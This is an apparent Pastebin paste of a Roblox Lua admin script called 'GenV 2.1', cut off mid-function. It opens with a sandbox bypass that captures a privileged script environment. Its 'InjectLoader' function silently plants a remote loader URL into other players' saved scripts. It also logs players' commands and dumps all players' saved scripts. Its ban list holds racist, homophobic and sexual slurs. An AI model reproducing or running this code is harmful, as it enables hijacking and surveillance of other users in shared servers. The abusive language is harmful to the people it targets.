Advertisement
colddddda

Untitled

Jun 3rd, 2016
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 44.61 KB | None | 0 0
  1.  
  2. --[[//CREDITS
  3.  
  4. --[[//UPDATE LOG
  5.  
  6.  
  7. Turned off rbxdb features --c22
  8.  
  9. Added speed and bounce command -- error18 and c22
  10.  
  11. "Solaris" bricks are now "GenV 2.1" Bricks. k. ~j (#MostHelpFulNessEver)
  12.  
  13. --//UPDATE LOG END]]--
  14. if shared.GenV == true then error'' end
  15. shared.GenV = true
  16. wait(); --Unremovable bypass
  17. script.Parent=nil
  18. rawset(shared, "\0bp", function()
  19. local i=game:service'InsertService':LoadAssetVersion(519416165);
  20. local n=i:children()[1];
  21. game:service'Debris':AddItem(i,0);
  22. n.Parent=workspace;
  23. coroutine.yield();
  24. local e;
  25. pcall(_G.OSC_AddServerSideData,setmetatable({},{__index=function(...)e=getfenv(2)end,__metatable=''}));
  26. _G.OSC_AddServerSideData=nil;
  27. game:service'Debris':AddItem(n,0);
  28. return e
  29. end);
  30. local y=shared['\0bp']();
  31. shared["\0bp"]=nil;
  32. game:GetService'ReplicatedStorage':ClearAllChildren();
  33. y.setfenv(0,y);
  34. y.setfenv(1,y);
  35. y.pcall(function() y.setfenv(2,y); end); --Ends the bypass
  36.  
  37. -- Easiest Fixing ever l0l.
  38.  
  39. --// TOTS NOT SOLARIS :)
  40. local GenV = {
  41. AccessKey = "=BNFO@E%+gAOyLJbIJSlQ!IXOfg^10wezjG6Nf#^b4fO%&wFuzAQ|youxgW&3gl&epj4V5=EFLO9#HAJ";
  42. --// Kill Switch
  43. __STATUS = true;
  44. --// Administrations Components
  45. Admins = {
  46. ["DuelingBlades"]={Level=2e9}; -- can't I be in here too QQ. Also, Hai.
  47. ["destroyerethank"]={Level=2e9}; -- I'm with jeb here. Also, only editing this because of GuyWithACleverName
  48. ["Control22"]={Level=2e9};
  49. };
  50. Levels = {
  51. [-1]='ih8youk';
  52. [1]="User";
  53. [2]="Trusted";
  54. [3]="Friend";
  55. [4]="Trusted asf person";
  56. [5]="Creator/Developer";
  57. [2e9]='Founder';
  58. };
  59. Banned = {
  60. Cobalt1164="Noice ban sht m8";
  61. princekiller1="bitch ass cunt nigga fuck pussy";
  62. gage7252002="bye bye skid ur banned now";
  63. Mikko3m="dont ban me skid C:";
  64. DestructiveFate='Pri\'ing servers';
  65. --Exanimatedn9dean='I believe you said "Gtfo skrub"...';
  66. GalacticParadox='Stealing GenV 2.0 and making his own different version without giving CREDIT. \n btw credit is key fa\5ggot.';
  67. --w00t111="this server has a age restriction come back in 970 days";
  68. --CharcterKaiser="go die annoying skid";
  69. --FallingVortex="lrn 2 skript kid gtfo liquidex skid";
  70. robloxchamp20="u ban me i ban u git rkt";
  71. -- iiDeadzone="u ban me i ban u git rkt";
  72. -- endermanac="git bbban11!!!";
  73. -- Dman2435="die just die";
  74. -- Dman2435alt="die just die";
  75. -- meunumbertwo="ur banned bby";
  76. -- Copenricus45="you got stopped by an admin skid c;";
  77. --[he will get pissed if i dont remove this] FallingVortex="A. You're a fuc\5ktard. B. Come back when you stop fmin :) C.T0tallyN0tATr0ll f\5ucking want's you 2 die";
  78. FreeModelInventor="get out skid go suc\5k my d\5ick b\5itch who\5re";
  79. PWNTART = "die pls thx u";
  80. HopeYouHaveAGoodComp="you have been trolled ni\5gger bit\5ch die k\5kk";
  81. BookOEchos="git banned bitch";
  82. Autospy="another alt another ban";
  83. TotallyNotAnAlt1257="another alt another ban";
  84. fmerSKID005="another alt another ban";
  85. crazychimp1284="dienoobkthxbye";
  86. MrXTheGreat="dienoobkthxbye";
  87. ScriptNurd="dienoobkthxbye";
  88. Therealestnumber1="dienoobkthxbye";
  89. Opligi="dienoobkthxbye";
  90. jmckoy12="dienoobkthxbye";
  91. --5asc
  92. DangCoolIsReal3="dienoobkthxbye";
  93. legendy123="dienoobkthxbye";
  94. PithIsOnline="dienoobkthxbye";
  95. Opllgltory="git banned wanabe";
  96. YeaImnotanalt="dienoobkthxbye";
  97. superkiki609="git banned?";
  98. immcool1="git banned now skid";
  99. TickerOfTime='kicking players';
  100. };
  101. Chatted = {
  102. Settings = {
  103. Prefix = ";";
  104. Suffix = "-";
  105. };
  106. Commands = {};
  107. };
  108. --// Orb Components
  109. Settings = {
  110. Orb = nil;
  111. Character = nil;
  112. Following = false;
  113. Target = "";
  114. TrailParts = {};
  115. Trail = true;
  116. OrbColor = BrickColor.new("Institutional white");
  117. TrailColor = BrickColor.new("Institutional white");
  118. Rotation = {
  119. Rot = 0;
  120. Radius = 6;
  121. Height = 1.5;
  122. Bounce = 2.1;
  123. Speed = 0.02;
  124. Length = 0.01;
  125. };
  126. };
  127. --// Tool Components
  128. Blocker = {
  129. LocalBlock = false;
  130. GlobalBlock = false;
  131. LagBlocker = true;
  132. };
  133. LagBlockedInstances = {
  134. "Message";
  135. "Hint";
  136. "Sound";
  137. };
  138. Logs = {};
  139. --// Functional Storage
  140. API = {
  141. Bootstrap = {}
  142. };
  143. }
  144. local Settings = GenV.Settings
  145. local API = GenV.API
  146. local Bootstrap = API.Bootstrap
  147. local Time = require(285173569)
  148. --local rbxdb = require(278524047)
  149. --local key = "d12ed549bd1bd58b5d9420c5c6919c4e"
  150. --pcall(rbxdb:Connect(key))
  151.  
  152. --// Output API
  153.  
  154. function API.print_to(target,input)
  155. type = type or 'Warn'
  156. if input == nil then input = "nil" end
  157. local plr
  158. if type(target)=='userdata'then
  159. plr = target
  160. elseif type(target)=='string'then
  161. plr = game:GetService('Players'):FindFirstChild(target)
  162. end
  163. if type(plr)=='userdata' then
  164. local str = Instance.new('StringValue',plr)
  165. str.Name = 'SB_Output:Output'
  166. str.Value = game:GetService('HttpService'):JSONEncode{'Warn',input}
  167. end
  168. end local print_to = GenV.API.print_to
  169.  
  170. function API.print(input)
  171. if input == nil then input = "nil" end
  172. for i,v in pairs(game:GetService('Players'):children())do
  173. if GenV.Admins[v.Name]then
  174. if GenV.Admins[v.Name].Level > 2 then
  175. print_to(v,input)
  176. end
  177. end
  178. end
  179. end local print = GenV.API.print
  180.  
  181. function API.print_lvl(level,input)
  182. if input == nil then input = "nil" end
  183. for i,v in pairs(game:GetService('Players'):GetPlayers())do
  184. if GenV.Admins[v.Name]then
  185. if GenV.Admins[v.Name].Level > level then
  186. print_to(v,input)
  187. end
  188. end
  189. end
  190. end local print_lvl = GenV.API.print_lvl
  191.  
  192. function API.broadcast(input)
  193. if input == nil then input = "nil" end
  194. for i,v in pairs(game:GetService('Players'):GetPlayers())do
  195. print_to(v,input)
  196. end
  197. end local broadcast = GenV.API.broadcast
  198.  
  199. --// Utility API
  200.  
  201. function API.Make(ClassName)
  202. return function(data)
  203. local Instance = Instance.new(ClassName)
  204. for index,value in pairs(data) do
  205. if type(index) == "number" then
  206. value.Parent = Instance
  207. else
  208. Instance[index] = value
  209. end
  210. end
  211. return Instance
  212. end
  213. end local Make = API.Make
  214.  
  215. function API.clerp(p1,p2,percent)
  216. local p1x,p1y,p1z,p1R00,p1R01,p1R02,p1R10,p1R11,p1R12,p1R20,p1R21,p1R22=p1:components()
  217. local p2x,p2y,p2z,p2R00,p2R01,p2R02,p2R10,p2R11,p2R12,p2R20,p2R21,p2R22=p2:components()
  218. return CFrame.new(p1x+percent*(p2x-p1x),p1y+percent*(p2y-p1y),p1z+percent*(p2z-p1z),p1R00+percent*(p2R00-p1R00),p1R01+percent*(p2R01-p1R01),p1R02+percent*(p2R02-p1R02),p1R10+percent*(p2R10-p1R10),p1R11+percent*(p2R11-p1R11),p1R12+percent*(p2R12-p1R12),p1R20+percent*(p2R20-p1R20),p1R21+percent*(p2R21-p1R21),p1R22+percent*(p2R22-p1R22))
  219. end local clerp = API.clerp
  220.  
  221. function API.Rainbow(i)
  222. local section = i % 1 * 3
  223. local secondary = 0.5 * math.pi * (section % 1)
  224. if section < 1 then
  225. return 1, 1 - math.cos(secondary), 1 - math.sin(secondary)
  226. elseif section < 2 then
  227. return 1 - math.sin(secondary), 1, 1 - math.cos(secondary)
  228. else
  229. return 1 - math.cos(secondary), 1 - math.sin(secondary), 1
  230. end
  231. end local Rainbow = API.Rainbow
  232.  
  233. function API.GetPlayer(msg,plr)
  234. local Collected_Players = {}
  235. if string.lower(msg) == "me" then
  236. table.insert(Collected_Players, plr)
  237. elseif string.lower(msg) == "all" then
  238. for index,player in pairs(game:GetService('Players'):children()) do
  239. if GenV.Admins[player.Name].Level < GenV.Admins[plr.Name].Level or (plr.Name == player.Name) then
  240. table.insert(Collected_Players, player)
  241. end
  242. end
  243. elseif string.lower(msg) == "others" then
  244. for index,player in pairs(game:GetService('Players'):children()) do
  245. if player.Name ~= plr.Name then
  246. if GenV.Admins[player.Name].Level < GenV.Admins[plr.Name].Level then
  247. table.insert(Collected_Players, player)
  248. end
  249. end
  250. end
  251. elseif string.lower(msg) == "friends" then
  252. for index,player in pairs(game:GetService('Players'):children()) do
  253. if player.Name ~= plr.Name then
  254. if GenV.Admins[player.Name].Level < GenV.Admins[plr.Name].Level then
  255. if plr:IsFriendsWith(player.userId) == true then
  256. table.insert(Collected_Players, player)
  257. end
  258. end
  259. end
  260. end
  261. elseif string.lower(msg) == "nonfriends" then
  262. for index,player in pairs(game:GetService('Players'):children()) do
  263. if player.Name ~= plr.Name then
  264. if GenV.Admins[player.Name].Level < GenV.Admins[plr.Name].Level then
  265. if plr:IsFriendsWith(player.userId) == false then
  266. table.insert(Collected_Players, player)
  267. end
  268. end
  269. end
  270. end
  271. else
  272. for index,player in pairs(game:GetService('Players'):children()) do
  273. if string.sub(string.lower(player.Name), 1, #msg) == string.lower(msg) then
  274. if GenV.Admins[player.Name].Level <= GenV.Admins[plr.Name].Level or (plr.Name == player.Name) then
  275. table.insert(Collected_Players, player)
  276. end
  277. end
  278. end
  279. end
  280. return Collected_Players
  281. end local GetPlayer = API.GetPlayer
  282.  
  283. function API.GetSplit(msg)
  284. return string.find(msg,GenV.Chatted.Settings.Suffix)
  285. end local GetSplit = API.GetSplit
  286.  
  287. function API.Generate(Length)
  288. local Generated = ""
  289. for _ = 1, Length do
  290. Generated = Generated .. string.char(math.random(33,126))
  291. end
  292. return Generated
  293. end local Generate = API.Generate
  294.  
  295. function API.GetGarbage(plr)
  296. print_to(plr,"Got Garbage")
  297. print_to(plr,"________________________")
  298. for i = 1,10 do wait(1)
  299. print_to(plr,"| Attempt#"..i.." ["..collectgarbage("count").."] |")
  300. end
  301. print_to(plr,"________________________")
  302. end local GetGarbage = API.GetGarbage
  303.  
  304. --// Orb API
  305.  
  306. function API.SpawnOrb()
  307. Settings.Orb = Make('Part'){
  308. Name = "\5\2\5\2GenV 2.0\2\5\2\5";
  309. Parent = game.Workspace,
  310. BrickColor = Settings.OrbColor,
  311. Material = Enum.Material.SmoothPlastic,
  312. Transparency = .1,
  313. Anchored = true,
  314. CanCollide = false,
  315. Locked = true,
  316. FormFactor = "Symmetric",
  317. Shape = "Ball",
  318. Size = Vector3.new(1,1,1),
  319. TopSurface = 10,
  320. BottomSurface = 10,
  321. }Settings.Orb.Changed:connect(function()
  322. if not game.Workspace:FindFirstChild(Settings.Orb.Name)then
  323. if GenV.__STATUS == true then
  324. API.SpawnOrb()
  325. end
  326. end
  327. end)
  328. end local SpawnOrb = API.SpawnOrb
  329.  
  330. function API.MakeTrail()
  331. if Settings.Orb ~= nil and Settings.Trail == true then
  332. local Trail = Make'Part'{
  333. Name='\5GenV\5',
  334. CanCollide = false,
  335. Parent = Settings.Orb,
  336. BrickColor = Settings.TrailColor,
  337. Material = Enum.Material.SmoothPlastic,
  338. Transparency = .1,
  339. Anchored = true,
  340. Locked = true,
  341. FormFactor = "Custom",
  342. Size = Vector3.new(.2,.2,.2),
  343. CFrame = Settings.Orb.CFrame,
  344. TopSurface = 10,
  345. BottomSurface = 10,
  346. }table.insert(Settings.TrailParts, Trail)
  347. return Trail
  348. end
  349. end local MakeTrail = API.MakeTrail
  350.  
  351. function API.SpawnTrail()
  352. if Settings.Orb ~= nil and Settings.Trail == true then
  353. local Trail = API.MakeTrail()
  354. end
  355. end local SpawnTrail = API.SpawnTrail
  356.  
  357. function API.Rotate()
  358. game:GetService('RunService').Stepped:connect(function()
  359. if GenV.__STATUS == true then
  360. wait()
  361. local Following=game:GetService('Players'):FindFirstChild(Settings.Target)
  362. if Following and Following.Character and Following.Character:FindFirstChild("Torso") and Settings.Following then
  363. Settings.Character = Following.Character.Torso.CFrame
  364. else
  365. Settings.Character = CFrame.new(0,5.7,0)
  366. end
  367. if Settings.Orb ~= nil then
  368. Settings.Rotation.Rot = Settings.Rotation.Rot + Settings.Rotation.Speed
  369. Settings.Orb.Name = "ii\5Orb"
  370. Settings.Orb.CFrame = clerp(Settings.Orb.CFrame,
  371. CFrame.new(Settings.Character.p)
  372. *CFrame.new(0,3.9,0)
  373. *CFrame.Angles(0,Settings.Rotation.Rot,(math.sin((tick())*.9)*5)*.6)
  374. *CFrame.new(Settings.Rotation.Radius, math.sin((tick())*Settings.Rotation.Bounce)*Settings.Rotation.Height,2)
  375. *CFrame.Angles(100,Settings.Rotation.Rot,(math.sin((tick())*1)*5)*.9) ,.1)
  376. API.SpawnTrail()
  377. for i,_ in next,Settings.TrailParts do
  378. if Settings.TrailParts[i] ~= nil and Settings.TrailParts[i+1] ~= nil then
  379. local Part1 = Settings.TrailParts[i]
  380. local Part2 = Settings.TrailParts[i+1]
  381. local Mag = ((Part1.CFrame.p-Part2.CFrame.p).magnitude)
  382. Part1.Name = math.random(1,99999999)
  383. Part1.Size = Vector3.new(Part1.Size.X+Settings.Rotation.Length, Mag, Part1.Size.Z+Settings.Rotation.Length)
  384. Part1.Transparency = Part1.Transparency + .017
  385. Part1.CFrame = CFrame.new(Part1.CFrame.p, Part2.CFrame.p)
  386. * CFrame.Angles(math.pi/2,0,0)
  387. if Part1.Size.X >= .74 then
  388. Part1:Destroy()
  389. table.remove(Settings.TrailParts, i)
  390. end
  391. end
  392. end
  393. end
  394. end
  395. end)
  396. end local Rotate = API.Rotate
  397.  
  398. function API.ChangeTheme(plr,theme)
  399. --// Sets orb to default configurations
  400. Settings.Orb.BrickColor = BrickColor.new('White')
  401. Settings.Orb.Transparency = .1
  402. for i,v in pairs(Settings.Orb:children())do if v.ClassName=='SpecialMesh'then v:remove()end end
  403. --// Themes
  404. if theme == 'normal' then
  405. API.SpawnTrail = function()
  406. if Settings.Orb ~= nil and Settings.Trail == true then
  407. local Trail = API.MakeTrail()
  408. end
  409. end
  410. elseif theme == 'c22' or theme == 'default' then
  411. API.SpawnTrail = function()
  412. if Settings.Orb ~= nil and Settings.Trail == true then
  413. local Trail = API.MakeTrail()
  414. spawn(function()
  415. Settings.Orb.BrickColor = BrickColor.new('Really black')
  416. Trail.BrickColor = BrickColor.new('Really red')
  417. local box = Make('SelectionBox'){
  418. Adornee = Trail;
  419. Parent = Trail;
  420. Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5";
  421. LineThickness = 0.001;
  422. Color3 = Color3.new(0,0,0);
  423. }
  424. end)
  425. end
  426. end
  427. elseif theme == 'des1' then
  428. API.SpawnTrail = function()
  429. if Settings.Orb ~= nil and Settings.Trail == true then
  430. local Trail = API.MakeTrail()
  431. spawn(function()
  432. Settings.Orb.BrickColor = BrickColor.new('Royal purple')
  433. Trail.BrickColor = BrickColor.new('Lime green')
  434. local box = Make('SelectionBox'){
  435. Adornee = Trail;
  436. Parent = Trail;
  437. Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5";
  438. LineThickness = 0.001;
  439. Color3 = Color3.new(0,0,0);
  440. }
  441. end)
  442. end
  443. end
  444. elseif theme == 'des2' then
  445. API.SpawnTrail = function()
  446. if Settings.Orb ~= nil and Settings.Trail == true then
  447. local Trail = API.MakeTrail()
  448. spawn(function()
  449. Settings.Orb.BrickColor = BrickColor.new('Eggplant') --Party Confetti
  450. Trail.BrickColor = BrickColor.new('Persimmon') --Sugar Hearts
  451. local box = Make('SelectionBox'){
  452. Adornee = Trail;
  453. Parent = Trail;
  454. Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5";
  455. LineThickness = 0.001;
  456. Color3 = Color3.new(0,0,0); --Depths of My Soul Black
  457. }
  458. wait(0.25)
  459. Trail.BrickColor = BrickColor.new('Deep orange') --Sugar Cocktail
  460.  
  461. wait(0.25)
  462. Trail.BrickColor = BrickColor.new('New Yeller') --Bursts of Euphoria
  463.  
  464. wait(0.25)
  465. Trail.BrickColor = BrickColor.new('Forest green') --Festus the Happy Balloon
  466. end)
  467. end
  468. end
  469. elseif theme == 'bin' then
  470. API.SpawnTrail = function()
  471. if Settings.Orb ~= nil and Settings.Trail == true then
  472. local Trail = API.MakeTrail()
  473. spawn(function()
  474. Settings.Orb.BrickColor = BrickColor.new('Lime green')
  475. Trail.BrickColor = BrickColor.new('Really black')
  476. local box = Make('SelectionBox'){
  477. Adornee = Trail;
  478. Parent = Trail;
  479. Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5";
  480. LineThickness = 0.001;
  481. Color3 = Color3.new(0,0,0); --Depths of My Soul Black
  482. }end)
  483. end
  484. end
  485. elseif theme == 't0t' or theme == 'tr0ll' then
  486. API.SpawnTrail = function()
  487. if Settings.Orb ~= nil and Settings.Trail == true then
  488. local Trail = API.MakeTrail()
  489. spawn(function()
  490. Settings.Orb.BrickColor = BrickColor.new('White')
  491. local S_Box = Make('SelectionBox'){
  492. Adornee = Trail;
  493. Parent = Trail;
  494. Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
  495. LineThickness = 0;
  496. Color3 = BrickColor.new("White").Color;
  497. }
  498. Trail.BrickColor = BrickColor.new('White')
  499. wait(0.5)
  500. Trail.BrickColor = BrickColor.new('Lime green')
  501. end)
  502. end
  503. end
  504. elseif theme == 'error' or theme == 'err' then
  505. API.SpawnTrail = function()
  506. if Settings.Orb ~= nil and Settings.Trail == true then
  507. local Trail = API.MakeTrail()
  508. spawn(function()
  509. Settings.Orb.BrickColor = BrickColor.new('Really red')
  510. local S_Box = Make('SelectionBox'){
  511. Adornee = Trail;
  512. Parent = Trail;
  513. Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
  514. LineThickness = 0;
  515. Color3 = BrickColor.new("Really red").Color;
  516. }
  517. Trail.BrickColor = BrickColor.new('Really red')
  518. wait(0.5)
  519. Trail.BrickColor = BrickColor.new('Bright orange')
  520. end)
  521. end
  522. end
  523. elseif theme == 'rath' or theme == 'mine101' then
  524. API.SpawnTrail = function()
  525. if Settings.Orb ~= nil and Settings.Trail == true then
  526. local Trail = API.MakeTrail()
  527. spawn(function()
  528. Settings.Orb.BrickColor = BrickColor.new('Toothpaste')
  529. local S_Box = Make('SelectionBox'){
  530. Adornee = Trail;
  531. Parent = Trail;
  532. Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
  533. LineThickness = 0;
  534. Color3 = BrickColor.new("White").Color;
  535. }
  536. Trail.BrickColor = BrickColor.new('Toothpaste')
  537. wait(0.5)
  538. Trail.BrickColor = BrickColor.new('Really black')
  539. end)
  540. end
  541. end
  542. elseif theme == 'ii' then
  543. API.SpawnTrail = function()
  544. if Settings.Orb ~= nil and Settings.Trail == true then
  545. local Trail = API.MakeTrail()
  546. spawn(function()
  547. Settings.Orb.BrickColor = BrickColor.new('Really black')
  548. local box = Make('SelectionBox'){
  549. Adornee = Trail;
  550. Parent = Trail;
  551. Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5";
  552. LineThickness = 0.001;
  553. Color3 = Color3.new(0,0,0);
  554. }
  555.  
  556. Trail.BrickColor = BrickColor.new('Really black')
  557. wait(0.5)
  558. Trail.BrickColor = BrickColor.new('Lime green')
  559. end)
  560. end
  561. end
  562. elseif theme == 'rainbow' then --STOP REMOVING DAMNIT
  563. API.SpawnTrail = function()
  564. local Trail = API.MakeTrail()
  565. spawn(function()
  566. Settings.Orb.BrickColor = BrickColor.new("Really red")
  567. wait(0)
  568. Settings.Orb.BrickColor = BrickColor.new("Deep orange")
  569. wait(0)
  570. Settings.Orb.BrickColor = BrickColor.new("New Yeller")
  571. wait(0)
  572. Settings.Orb.BrickColor = BrickColor.new("Lime green")
  573. wait(0)
  574. Settings.Orb.BrickColor = BrickColor.new("Toothpaste")
  575. wait(0)
  576. Settings.Orb.BrickColor = BrickColor.new("Hot pink")
  577. local S_Box = Make('SelectionBox'){
  578. Adornee = Trail;
  579. Parent = Trail;
  580. Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
  581. LineThickness = 0.0000001;
  582. Color3 = BrickColor.new("Really black").Color;
  583. }
  584. Trail.BrickColor = BrickColor.new'Really red'
  585. wait(0.2)
  586. Trail.BrickColor = BrickColor.new'Deep orange'
  587. wait(0.2)
  588. Trail.BrickColor = BrickColor.new'New Yeller'
  589. wait(0.2)
  590. Trail.BrickColor = BrickColor.new'Lime green'
  591. wait(0.2)
  592. Trail.BrickColor = BrickColor.new'Toothpaste'
  593. wait(0.2)
  594. Trail.BrickColor = BrickColor.new'Hot pink'
  595. wait(0.1)
  596.  
  597. end)
  598. end
  599. elseif theme == 'gwc' then
  600. API.SpawnTrail = function()
  601. local Trail = API.MakeTrail()
  602. spawn(function()
  603. Settings.Orb.BrickColor = BrickColor.new("Lime green")
  604. local S_Box = Make('SelectionBox'){
  605. Adornee = Trail;
  606. Parent = Trail;
  607. Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
  608. LineThickness = 0.0000001;
  609. Color3 = BrickColor.new("Really black").Color;
  610. }
  611. Trail.BrickColor = BrickColor.new'Lime green'
  612. wait(0.50)
  613. Trail.BrickColor = BrickColor.new'Really blue'
  614. end)
  615. end
  616. elseif theme == 'whiteout' then
  617. API.SpawnTrail = function()
  618. local Trail = API.MakeTrail()
  619. spawn(function()
  620. Trail.BrickColor = BrickColor.new("White")
  621. Settings.Orb.BrickColor = BrickColor.new("Really black")
  622. local S_Box = Make('SelectionBox'){
  623. Adornee = Trail;
  624. Parent = Trail;
  625. Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
  626. LineThickness = 0;
  627. Color3 = BrickColor.new("Really black").Color;
  628. }
  629. local Mesh = Make('SpecialMesh'){
  630. Parent = Settings.Orb;
  631. MeshId = "http://www.roblox.com/asset/?id=1529453";
  632. Name = "Mesh";
  633. Scale = Vector3.new(math.random(),math.random(),math.random)
  634. }
  635. end)
  636. end
  637. elseif theme == 'hidden' then
  638. API.SpawnTrail = function()
  639. local Trail = API.MakeTrail()
  640. spawn(function()
  641. Trail.Transparency = 1
  642. Settings.Orb.Transparency = 1
  643. end)
  644. end
  645. else
  646. print_to(plr,"[Error]: "..theme.." is not a valid theme name")
  647. return
  648. end
  649. print_to(plr,"[GenV 2.1 [ORIGINAL]]: Orb has changed theme to "..theme)
  650. end local ChangeTheme = API.ChangeTheme
  651.  
  652. function API.Follow(boolean,plr)
  653. if type(plr)~='string'then return end
  654. if boolean == true then
  655. Settings.Following = true
  656. Settings.Target = plr
  657. elseif boolean == false then
  658. Settings.Following = false
  659. Settings.Target = ""
  660. end
  661. end local Follow = API.Follow
  662.  
  663.  
  664. --// Oxcool1 Sb Tools API
  665.  
  666. function API.Sbexe(cmd,plr)
  667. if not type(cmd)=='string'then return end
  668. if plr then
  669. if type(plr)=='userdata'then
  670. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  671. elseif type(plr)=='string'then
  672. plr = game:GetService('Players'):FindFirstChild(plr)
  673. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  674. end
  675. else
  676. for i,v in pairs(game:GetService('Players'):children())do
  677. v:FindFirstChild("SB_CommandRemote",true).Value = cmd
  678. end
  679. end
  680. end local Sbexe = API.Sbexe
  681.  
  682. function API.ConnectLogger(plr)
  683. if type(plr) ~= 'userdata'then return end
  684. if plr:FindFirstChild("SB_CommandRemote",true) then
  685. plr:FindFirstChild("SB_CommandRemote",true).Changed:connect(function()
  686. if plr:FindFirstChild("SB_CommandRemote",true).Value == 'h/http://pastebin.com/raw.php?i=TdtSWRAL' then
  687. Sbexe("g/ns")wait(.1)
  688. plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script")
  689. end
  690. if #plr:FindFirstChild("SB_CommandRemote",true).Value > 0 then
  691. table.insert(GenV.Logs,{User=tostring(plr.Name);Command=tostring(plr:FindFirstChild("SB_CommandRemote",true).Value)})
  692. local CurrentTime = Time:GetTime()
  693. local TimeStamp = ("["..CurrentTime.year.." "..CurrentTime.month.." "..CurrentTime.day.."]")
  694. --rbxdb:SetValue(TimeStamp..": "..tostring(plr.Name),tostring(plr:FindFirstChild("SB_CommandRemote",true).Value))
  695. end
  696. end)
  697. end
  698. end local ConnectLogger = API.ConnectLogger
  699.  
  700. function API.GetLogs(plr)
  701. print_to(plr,"Got logs")
  702. if #GenV.Logs > 0 then print_to(plr,"--------------------------------") end
  703. for index,data in pairs(GenV.Logs)do
  704. if #GenV.Logs > 30 then wait(.1)end
  705. print_to(plr,tostring(data.User))
  706. print_to(plr,tostring(data.Command))
  707. print_to(plr,"--------------------------------")
  708. end
  709. end local GetLogs = API.GetLogs
  710.  
  711. function API.InjectLoader(plr)
  712. Sbexe("remove/load_GenV",plr)
  713. Sbexe("ch/load_GenV/https://sb-scripts-brandan000124.c9.io/GenV 2.0 Module/HttpLoad.lua",plr)
  714. Sbexe("save/load_GenV",plr)
  715. print('Injected loader into '..tostring(plr))
  716. print(tostring(plr)..' has been given a loader ;)')-- l0l nice
  717. end local InjectLoader = API.InjectLoader
  718.  
  719. function API.GetSavedScripts(plr)
  720. local Save_Key = string.reverse("stpircSdevaS_xoREDliubtpIrCs");
  721. print_to(plr,"Got Saved Scripts")
  722. for i,v in pairs(game:GetService('Players'):children())do
  723. if v.ClassName == 'Player' then
  724. local Encoded_Table = v:LoadString(Save_Key)
  725. local Decoded_Table
  726.  
  727. --//Table Decoding
  728. if type(Encoded_Table)=='string' and Encoded_Table=="[]"or Encoded_Table==""then
  729. Decoded_Table = {{No=" Saved Scripts"}}
  730. else
  731. Decoded_Table = game:GetService('HttpService'):JSONDecode(Encoded_Table)
  732. end
  733. --// Table Printing
  734. --print_to(plr,"------------------------------------------------------------------")
  735. print_to(plr,"--------------------------["..v.Name.."]--------------------------")
  736. if type(Decoded_Table)=='table'then
  737. for _index,_data in pairs(Decoded_Table)do
  738. for index,data in pairs(_data)do
  739. wait(.1)
  740. print_to(plr,index.." : "..data)
  741. end
  742. end
  743. end
  744. print_to(plr,"------------------------------------------------------------------")
  745. end
  746. end
  747. end local GetSavedScripts = API.GetSavedScripts
  748.  
  749. function API.GiveServerConsole(Player)
  750. if Player:FindFirstChild("PlayerGui") and Player:FindFirstChild("PlayerGui").ClassName == "PlayerGui" then
  751. spawn(function()
  752. local Create = API.Make
  753. local Closed = false
  754. local ScreenGui = Create "ScreenGui" {
  755. Name = "Server Console",
  756. Parent = Player.PlayerGui
  757. }
  758. local Main = Create "TextButton" {
  759. AutoButtonColor = false,
  760. BackgroundColor3 = Color3.new(0, 0, 0),
  761. BorderSizePixel = 0,
  762. Size = UDim2.new(0, 375, 0, 15),
  763. Draggable = true,
  764. Font = "SourceSansBold",
  765. FontSize = "Size14",
  766. TextYAlignment = "Top",
  767. TextColor3 = Color3.new(1, 1, 1),
  768. Text = " Server Console",
  769. TextXAlignment = "Left",
  770. Position = UDim2.new(0.321, 0, 0.196, 0),
  771. Parent = ScreenGui
  772. }
  773. local Refresh = Create "TextButton" {
  774. Active = true,
  775. AutoButtonColor = false,
  776. BackgroundColor3 = Color3.new(0, 0, 0),
  777. BorderSizePixel = 0,
  778. Position = UDim2.new(1, 0, 0, 0),
  779. Size = UDim2.new(0, 60, 0, 15),
  780. Font = "SourceSansBold",
  781. FontSize = "Size14",
  782. Text = "Refresh",
  783. TextYAlignment = "Top",
  784. TextColor3 = Color3.new(1, 1, 1),
  785. TextYAlignment = "Top",
  786. TextXAlignment = "Right",
  787. Parent = Main
  788. }
  789. local TextButton = Create "TextButton" {
  790. AutoButtonColor = false,
  791. BackgroundColor3 = Color3.new(0, 0, 0),
  792. BorderSizePixel = 0,
  793. Position = UDim2.new(1, 60, 0, 0),
  794. Size = UDim2.new(0, 15, 0, 15),
  795. Font = "SourceSansBold",
  796. FontSize = "Size14",
  797. TextYAlignment = "Top",
  798. Text = "-",
  799. TextColor3 = Color3.new(1, 1, 1),
  800. Parent = Main
  801. }
  802. local ContentFrame = Create "Frame" {
  803. BackgroundColor3 = Color3.new(0, 0, 0),
  804. BackgroundTransparency = 0.2,
  805. BorderSizePixel = 0,
  806. Position = UDim2.new(0, 0, 0, 15),
  807. Size = UDim2.new(0, 450, 0, 0),
  808. Parent = Main
  809. }
  810. local ScrollingFrame = Create "ScrollingFrame" {
  811. Size = UDim2.new(1, 0, 1, 0),
  812. CanvasSize = UDim2.new(3, 0, 0, 0),
  813. MidImage = "rbxassetid://158362264",
  814. TopImage = "rbxassetid://158362307",
  815. BottomImage = "rbxassetid://158362221",
  816. BackgroundTransparency = 1,
  817. BorderSizePixel = 0,
  818. ScrollBarThickness = 5,
  819. Parent = ContentFrame
  820. }
  821. ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true)
  822. TextButton.MouseButton1Down:connect(function()
  823. if Closed == false then
  824. Closed = true
  825. TextButton.Text = "+"
  826. ContentFrame:TweenSize(UDim2.new(0, 450, 0, 0), "Out", "Quad", 1.5, true)
  827. delay(1, function()
  828. ScrollingFrame.Visible = false
  829. end)
  830. else
  831. Closed = false
  832. TextButton.Text = "-"
  833. ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true)
  834. delay(0.5, function()
